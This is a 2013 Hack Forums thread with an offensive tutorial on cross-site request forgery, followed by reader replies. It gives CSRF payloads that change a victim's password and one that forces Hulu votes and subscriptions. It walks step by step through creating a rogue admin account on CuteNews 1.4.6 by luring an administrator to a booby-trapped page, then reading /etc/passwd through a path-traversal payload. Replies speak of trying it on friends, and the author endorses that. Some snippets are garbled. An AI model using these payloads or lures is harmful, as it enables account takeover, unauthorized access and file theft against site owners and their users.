

Forum:[Hack Forums](#)

Thread: [\[TUTORIAL\] Highly Detailed - CSRF - Explanation|Exploiting Big Sites! \[TUTORIAL\]](#)

Ascendon - December 16, 2013, 10:47 pm

Please leave feedback!

Introduction:

CSRF is likely one of the most prominent vulnerabilities today.
When it is mixed with XSS, it can be seriously deadly.

Cross Site Request Forgery can be used to trick an administrator/person into browsing a webpage which contains a function.

A CSRF attack takes the privileges of a victim to complete an action on their behalf. For example, a CSRF attack can change the Password and Email address of a person or even Purchase something.

CSRF can only occur when a web form does not check its HTTP information to make sure that the browser came from its own site.

It is possible to make the CSRF attack on the targeted site itself. This is called "Stored CSRF flaws". If a "Stored CSRF Flaw" is available, the impact of the CSRF is larger.

The Requirements to exploiting CSRF:

The victim must be identified by the HTTP Authentication.

The victim must have SESSION \ COOKIE on the targeted website.

For all this to work you need the victim to actually be logged into the targeted site.

What tags can I use with CSRF?

You can use most of the HTML tags what allow you to embed links into them.

Examples.

Code img tag:

```

```

Code iframe tag:

```
<iframe
```

```
src="http://targetsite.com/change_password.php?new_password=Ascendonisboss"></iframe>
```

Code <script>

Java Script:

```
var poniz = new Image();
```

```
test.poniz = "http://targetsite.com/change_password.php?new_password=Ascendonisboss";
```

```
</script>
```

CSRF is largely popular although some people don't know it.

Here is an example of a vulnerability in "Hulu":

Code `document.write('<form action="http://www.hulu.com/videos/vote/344578" method=post><input name=up value=5><input name=_ value=""></form>')`
`http://www.hulu.com/shows/subscribe/344578?type=episodes,clips&first_run_only=0`
This will make the victim vote without their confirmation or subscribing to new episodes.

However!

Tokens prevent hackers from executing CSRF attacks.
A "token" is a hidden randomly generated ID for sending data.
This is for logging into forms and plenty of other stuff.

The targeted website's owner might regularly delete cookies.

They might not use GET \ REQUEST super-global variables in their php.

A token will look like this:

Code `<input type="hidden" name="23qsrttf556usjsr2v7a211ifb" value='1' id="token" />`
Cutenews CSRF- Cross Site Request Forgery:

So, this concludes as Cute News 1.4.6 and lower exploitable. You need simple SE Skills to do so.

Using the above explanation of CSRF, we can make a admin account.

The steps to making an admin account :

1) Host a website with a webpage with this source code.

You need to edit it with your wanted username and password along with your targeted website.

Source code:

Code `<img`

`src="http://Targetedsite.com/cutenews/index.php?regusername=Usernameyouwant®password=Passwordyouwant®nickname=Nicknameyouwant®email=a%40a.com®level=1&action=adduser&mod=editusers">`Try blending this in with the webpage. Post a funny image or something.

2) If you haven't already, make an account on the targeted websites cutenews.

3) You now need to make a simple Social Engineer attempt on an admin. To do this, you need to make a post including your link to the CSRF landing page and something to go with it. eg. "Hey click this, it's really funny xD 'link' "

4) Once the admin clicks your Malicious webpage it will execute a function. The function will register a new admin account with the credentials you added. It's a bit like SJDB.

Congratulations if you have done this!

Cutenews LFI- Local File Inclusion- Requires Admin Access:

Once you have admin access, there is a neat trick to allow you to view the `/ect/passwd` file.

The steps to LFI :

1) Go to Targetedsite.com/cutenews/index.php?mod=options&action=syscon

2) Change the skin variable in the System Configuration

3) You then need to intercept the POST and modify the form:

save_con%5Bskin%5D=../../../../../../../../../../../../../../../../etc/passwd%00

4) Load any page on the website and the /etc/passwd will appear.

This has been patched for newer version of Cutenews.

Lower versions are vulnerable to so many more similar attacks.

Cleveland Brown - December 17, 2013, 2:55 am

Thanks for this tutorial its very helpful!

Syhime - December 17, 2013, 4:21 am

Thanks. I'll try it later. Very good tutoral, keep it up!

Ascendon - December 17, 2013, 10:24 am

(Dec 17, 2013 03:55 AM)Cleveland Brown Wrote: [\[CITE\]](#) Thanks for this tutorial its very helpful!

Thank you! I am making more of these soon.

I am hoping for more feedback too!

wcxwcx11 - December 17, 2013, 11:17 am

Amazing tutorial, do you know if it works on Xenforo, I heard about that kind of attack. :)

Ascendon - December 17, 2013, 11:30 am

(Dec 17, 2013 12:17 PM)wcxwcx11 Wrote: [\[CITE\]](#) Amazing tutorial, do you know if it works on Xenforo, I heard about that kind of attack. :)

Xenforo.com?

I will check for you.

Thank you for feedback :)

grady - December 17, 2013, 1:54 pm

I've heard about this kind of vulnerability, but I never looked into it.

Thanks for the share, I'm going to go look around for more of these in websites.

3ntropy - December 17, 2013, 7:34 pm

HQ Tutorial. This is the first time I'm hearing of CSRF. Looks interesting and I might use it against a few friends ^_^ ?

Ascendon - December 17, 2013, 11:33 pm

(Dec 17, 2013 08:34 PM)3ntropy Wrote: [\[CITE\]](#) HQ Tutorial. This is the first time I'm hearing of CSRF. Looks interesting and I might use it against a few friends ^_^ ?

Thank you :D i have not seen a tutorial on CSRF on here yet. Using it on friends is possibly the most effective.

wcxwcx11 - December 18, 2013, 3:09 pm

(Dec 17, 2013 12:30 PM)Ascendon Wrote: [\[CITE\]](#) Xenforo.com?

I will check for you.

Thank you for feedback :)

You're welcome. ?

Not on Xenforo.com website, but on forums who use Xenforo on it.

Ascendon - December 19, 2013, 10:01 am

(Dec 18, 2013 04:09 PM)wcxwcx11 Wrote: [\[CITE\]](#) You're welcome. ?

Not on Xenforo.com website, but on forums who use Xenforo on it.

Ah okay. I will check that for you soon. I am quite busy right now :)

Ergo - December 19, 2013, 12:21 pm

Wait... the whole tutorial is on CSRF and yet you write about LFI at the end? Am I missing something here?

Ascendon - December 19, 2013, 12:26 pm

(Dec 19, 2013 01:21 PM)Ergo Wrote: [\[CITE\]](#) Wait... the whole tutorial is on CSRF and yet you write about LFI at the end? Am I missing something here?

No.. It was a tutorial about CSRF but Cutenews is vulnerable to CSRF and LFI so I thought I might as well include that too.

vishnusharekhan - December 20, 2013, 10:49 pm

Very nice tutorial....but if you create the video of some other site vunrable to csrf..it more useful for beginners

Ascendon - December 21, 2013, 12:48 am

(Dec 20, 2013 11:49 PM)vishnusharekhan Wrote: [\[CITE\]](#) Very nice tutorial....but if you create the video of some other site vunrable to csrf..it more useful for beginners

Okay. Thank you for the suggestion!

Ankush - December 21, 2013, 7:45 pm

Very informative...keep up the good work

Ascendon - December 22, 2013, 12:13 am

(Dec 21, 2013 08:45 PM)Ankush Wrote: [\[CITE\]](#) Very informative...keep up the good work

Thank you :) I will do. Merry Christmas.

wcxwcx11 - December 24, 2013, 12:16 pm

So, did you found something about Xenforo? :(

Ascendon - December 24, 2013, 1:45 pm

(Dec 24, 2013 01:16 PM)wcxwcx11 Wrote: [\[CITE\]](#) So, did you found something about Xenforo? :(

There is no public vulnerabilities and if there were.. They would be patched fairly quickly.

Sorry man, you can google a bit if you like.

coolbuddy_459 - February 27, 2014, 7:15 am

excuse me guys but where is the tutorial?

5K0N4 - April 30, 2014, 4:59 pm

What do you mean "Please check it at the Empire! " where is the tutorial dude?

Ascendon - July 10, 2014, 6:08 am

Bumping this thread for the people who need this.

AkDK - August 28, 2016, 1:23 am

Good One Sharing keep Share like That

?Adroit - August 29, 2016, 9:26 am

Lots of good info. I'm on vacation so I need to post to save :)

Nice work btw